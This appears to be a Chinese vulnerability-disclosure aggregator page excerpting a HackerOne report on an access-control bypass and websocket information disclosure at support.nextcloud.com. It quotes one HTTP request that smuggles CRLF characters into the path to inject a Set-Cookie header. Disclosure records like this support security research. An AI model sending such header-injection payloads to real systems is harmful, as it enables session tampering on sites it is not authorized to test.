POJIA破甲
地图 / bypassing dashboard without account + Information disclosure trough websockets

bypassing dashboard without account + Information disclosure trough websockets

访问控制 / 访问控制缺陷(通用) / #1102780

厂商
Nextcloud
严重程度
中危
赏金
—
弱点
访问控制缺陷(通用)
研究员
@deb0con
披露日期
2021-04-20
资产
support.nextcloud.com
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(1268 字符中的一小部分)
**Sumarry :** I found a information disclosure for bypassing parameter url attacker can redirect to dashboard without login user/pass page and websocket can be exposed in response/dashboard.
原文中的代码
GET #password_reset/%0d%0aSet-Cookie:%20crlf-injection=mickey HTTP/1.1
Host: support.nextcloud.com
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 91

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Nextcloud 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @deb0con · 版权归作者与 Nextcloud 所有

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